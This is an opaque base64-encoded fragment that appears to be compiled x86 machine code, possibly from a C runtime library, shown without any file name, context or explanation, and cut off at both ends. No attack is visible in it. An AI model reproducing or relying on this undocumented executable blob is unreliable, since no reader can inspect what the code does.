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AAMeFVPr//wAAAACJhVj6///HhYT6//8AAAAAx4WU+v//AAAAAMeFfPr//wAAAADHhWz6//8AAAAAx4VM+v//AAAAAMeFQPr//wAAAADHhUT6//8AAAAAx4V4+v//AAAAAImdgPr//w+2B4TAD4Q7HQAAqIAPheIAAACNRwGJhZz6//8Pth+A+yUPhN0BAACLvXD6//+LVzT2RFoBIA+FUQEAAIO9lPr///8PhLQDAACLvYD6//+LRwQ7RwgPg1cdAACLvYD6//+NUAGJVwQPtgCJhZT6//+LjYz6//+DhXj6//8Bi714+v//hcl0R4uFcPr//4u1gPr//4tQNIuFlPr///ZEQgEgdB+LRgQ7RggPgw4GAACNSAGDxwGJTgQPtgD2REIBIHXhiYWU+v//ib14+v//OZ2U+v//D4UeHQAAi72c+v//x4WM+v//AAAAAOkR////jbYAAAAAg+wMV+hHUvr/jZW0+v//g8QMUlBX6NZlAACDxBCFwIu9nPr//w+O8/7//4O9lPr///8PhMgBAACLjXj6//+LvYD6//+NHAGJzotHBDtHCA+DwwUAAI1QAYlXBA+2AIuVnPr//4PGAY1KAYmNnPr//w+2EjnCD4XMHAAAOfN1yomVlPr//4m1ePr//4nP6Xn+//+NtgAAAACJx8eFjPr//wEAAADpYv7//420JgAAAACD+P8PhFr9///HhXz6////////6QUCAACQjbQmAAAAAItTSGWLNQgAAAA7cgh0IrkBAAAAZYM9DAAAAAB0AfAPsQp0B40K6HUP/P+LU0iJcgiDQgQB6XH9//+NtgAAAACLlcj7///HhTj6//8AAAAAiZXA+///A5XM+///iZXE+///D7ZPAYnKg+kwg/kJD4Y8BAAAMduLtWT6//+JnZD6///rJ410JgCA+kl0U4D6J3UWi42Q+v//icqAyoCF9g9E0YmVkPr//w+2EID6Kg+UwYD6J4nPD5TBifsIy3UFgPpJdSyDwAGJhZz6//8PtlD/gPoqdbKDjZD6//8I68mQgY2Q+v//AAQAAOu8jXQmAIPqMMeFiPr///////+D+gkPhiIEAACNSAGJjZz6//8PtjiNV7SA+i4Ph+UCAAAPttL/JJVgwQ4IkI20JgAAAAC40P///4uNhPr//4udgPr//2WJCIuNfPr//8eFjPr//wEAAACFyXUQx4V8+v///////422AAAAAPcDAIAAAHUni1NIg2oEAXUex0IIAAAAAGWDPQwAAAAAdAHwgyoBdAeNAug5Dvz/uAAAAACFwHQUjYWk+v//g+wIagBQ6H9O9PeDxBCLhcj7//+NvdD7//85+HQMg+wMUOizL/r/g8QQi4Vc+v//hcB0CIuNjPr//wkIg718+v///w+EeQMAAIudbPr//4XbD4XBAwAAi03kZTMNFAAAAIuFfPr//w+FPFIAAI1l9FteX13DkI10JgDHhaT6//9QzgkIiZ2o+v//6Wv7//+NdgC40P///4u9hPr//4udgPr//2WJOIuVfPr//8eFjPr//wEAAACF0g+FBP///8eFfPr////////p9f7//4ONkPr//wMPtlABhNIPhOYYAACLlYz6//+NQQGJhZz6//8PthmF0nUfgPtbD4TrAQAAidiD4N88Qw+E3gEAAID7bg+E1QEAALjQ////iJ10+v//i7Vw+v//i52A+v//ZYs4icKJhYz6//9lxwAAAAAAi4WU+v//ib1g+v//i714+v//6yqQjbQmAAAAAItDBDtDCA+DJAEAAI1IAYPHAYlLBA+2AItONPZEQQEgdCCD+P912WWLAoP4BA+EMAEAAItONLj/////9kRBASB14In+ib14+v//i42M+v//i71g+v//g/j/iYWU+v//D7addPr//2WJOQ+EbQIAAIPsCA+2wIPuAVD/tYD6//+D6yWJtXj6///o09f5/4PEEID7Uw+H6BQAAA+22/8knRzCDggPtlABgPpsD4SaAgAAgY2Q+v//ACAAAOm//v//g42Q+v//Ag+2UAHpr/7//w+2UAGA+mgPhFICAACDjZD6//8E6Zb+//8PtlABidOD4/eA+1MPhK4TAACA+nMPhKUTAACJhZz6//+JwQ+2EOlr/v//D7ZQAYD6bA+ERgIAAIONkPr//wHpUv7//410JgCD7AyJlZT6//9T6OHN+f+DxBCD+P+LlZT6//8PhdNbAABliwKD+ASJhYT6//8PhdD+//+LhXz6///HhYz6//8BAAAAhcAPhe38///HhXz6////////6d78//+NtgAAAACD6yWA+1MPhysTAAAPttv/JJ1sww4IjXYAjbwnAAAAAI2FnPr//+hV9///iYWI+v//i4Wc+v//x4WQ+v//AAAAAIA4JA+EORcAAIuNiPr//7r/////hckPRdGJlYj6///pEfz//412AIPsDFboH835/4PEEIP4/w+FDloAAIu9fPr//4nzhf8PRceJhXz6///pQ/z//412AI2FnPr//+jd9v//iYWI+v//i4Wc+v//65mNtCYAAAAAg+wMV+jPzPn/g8QQg/j/D4Ux+v//ifvp4Pv//410JgCLhUT6//+LtUT6//+FwA+Ebfr//410JgCLPjHbhf90KpCNtCYAAAAAi0SeCIPsDP8w6OIr+v+LRJ4Ig8QQg8MBOR7HAAAAAAB33ot2BIX2dcfpK/r//4u1bPr//4PsDP826LIr+v/HBgAAAACDxBDpIfz//4PrJYD7Uw+HrhIAAA+22/8knbzEDgiLnYD6//+LtYz6//+LhYT6//9liQaLhXz6///HhYz6//8BAAAAhcAPhUn7///HhXz6////////6Tr7//+NSAKBjZD6//8AAgAAiY2c+v//D7ZQAuk0/P//jUgCgY2Q+v//ASAAAImNnPr//w+2UALpGPz//41IAoONkPr//wOJjZz6//8PtlAC6f/7//+LhZD6//+D4PmAzBCJhZD6///HhWD6//8QAAAAg72U+v///w+EWxYAAIu1gPr//4tGBDtGCA+DGCAAAIu9gPr//41QAYlXBA+2AImFlPr//4uFePr//414AYuFlPr//4PoK4Pg/XVqi4XA+///OYXE+///D4RxJQAAD7aNlPr//41QAYmVwPv//4gIi7WI+v//hfYPn8APtsApxom1iPr//4u1gPr//4tGBDtGCA+D/hMAAIuNgPr//41QAYlRBA+2AImFlPr//4u9ePr//4PHAouNiPr//4XJD4T7EwAAg72U+v//MA+F7hMAAIXJD5/AD7bAKcGLhcD7//85hcT7//+JjYj6//8PhD4lAACNUAGJlcD7///GADCLjYD6//+LQQQ7QQgPg90oAACLtYD6//+NUAGJVgQPtgCJhZT6//+DxwGLnYj6//+F23Qai7Vw+v//D7aFlPr//4tWOIM8gngPhKYmAACLnWD6//+F2w+E/xQAAIO9YPr//wp1GveFkPr//wAEAAAPhQIrAADHhWD6//8KAAAAi42A+v//ib10+v//jXQmAIO9lPr///8PhMsAAACLvYj6//+F/w+EvQAAAIO9YPr//xAPhMARAACLtZT6//+J8IPoMIP4CQ+HTBAAAInwg+gvO4Vg+v//D4+LAAAAi72U+v//i4XA+///ifuJvXj6//+InYz6//+QOYXE+///D4THEQAAD7adjPr//41QAYmVwPv//4gYi7WI+v//hfYPn8APtsApxoO9lPr///+JtYj6//8PhH8RAACLQQQ7QQgPgxkSAACNUAGJUQQPtgCJhZT6//+DhXT6//8Bg72U+v///w+FNf///4u9dPr//4uVwPv//4XSD4QVIwAAi4XI+///OcIPhIIUAAApwoP6AQ+EShsAAIu1lPr//4m9ePr//4P+/3QiifiD7AiD6AGJhXj6//+J8A+2wFD/tYD6///oA9L5/4PEEIuFwPv//zuFxPv//w+EniYAAI1QAYmVwPv//8YAAIu1wPv//4X2D4TBJAAAi4WQ+v//icOD4wIPhCMTAACoQA+E5RoAACWAAAAAUI2FoPr///+1YPr//1D/tcj7///oHXQAAIPEEImVIPr//4uNyPv//zmNoPr//w+EmiQAAIu9kPr//4PnCIm9jPr//w+FIvX///aFkPr//0APhIAbAACF2w+EzCEAAIudOPr//4XbD4XdKAAAi71Y+v//ifqDxwSJvVj6//+LEokCi4Ug+v//iUIEg4V8+v//AYu9nPr//+n18///i72Q+v//ifiD4AiJhYz6//8PhZgAAACJ+PbEIQ+ElyAAAIuFOPr//4XAD4VaKAAAi41Y+v//iciDwQSLAImNWPr//4mFbPr//4u9bPr//4X/D4RyVQAAg+wMaJABAADoliP6/4PEEIXAiQcPhDY6AACLjUT6//+FyQ+EPzYAAIsRg/ogjUoBD4QxNgAAi71E+v//i7Vs+v//iYVM+v//x4VU+v//ZAAAAIkPiXSXCIO9lPr///8PhOkcAACLtYD6//+LRgQ7RggPg/w0AACLtYD6//+NUAGJVgQPtgCJhZT6//+LhXD6///HhfT6//8AAAAAjZ30+v//x4X4+v//AAAAAIu9lPr//4OFePr//wGLQDT2RHgBIA+FrxcAAIuFkPr//4mddPr//zH/i52A+v//JQAhAACJhWD6//+LhYz6//+LtUz6//+LjZT6//+FwA9F94hN1Im1lPr//4neicuJ9o28JwAAAACNRdT/tXT6//9qAVD/tZT6///oiVkAAIPEEIP4/g+FnRYAAItGBDtGCA+DXREAAI1IAYlOBA+2GIOFePr//wGIXdTrvIu9iPr//7gBAAAAg///D0XHi72Q+v//iYWI+v//ifiD4AiJhYz6//8PhacAAACJ+PbEIQ+EIx8AAIuFOPr//4XAD4WvJAAAi7VY+v//ifCDxgSLAIm1WPr//4mFbPr//4u9bPr//4X/D4RJUgAAi42I+v//uAAEAACB+QAEAAAPTsGD7AyJhVT6///B4AJQ6Lgh+v+DxBCFwIkHD4QdOQAAi7VE+v//hfYPhI80AACLFoP6II1KAQ+EgTQAAIu9RPr//4u1bPr//4mFTPr//4kPiXSXCIO9lPr///8PhIIcAACLjYD6//+LQQQ7QQgPgxM2AACLtYD6//+NUAGJVgQPtgCJhZT6//+NnfT6//+LhZD6//+DhXj6//8Bi7WU+v//x4X0+v//AAAAAImdlPr//4udgPr//yUAIQAAx4X4+v//AAAAAImFdPr//4nwiEXUi4WM+v//hcB1KouFdPr//4XAdCCLhWz6//+LvVT6//+LAMHnAo0UODmVTPr//w+EHDUAAIu9jPr//4nYifOJxoX/vwAAAAAPRL1M+v//jXQmAI1F1P+1lPr//2oBUFfoplcAAIPEEIP4/g+FbhQAAItGBDtGCA+Drg8AAI1IAYlOBA+2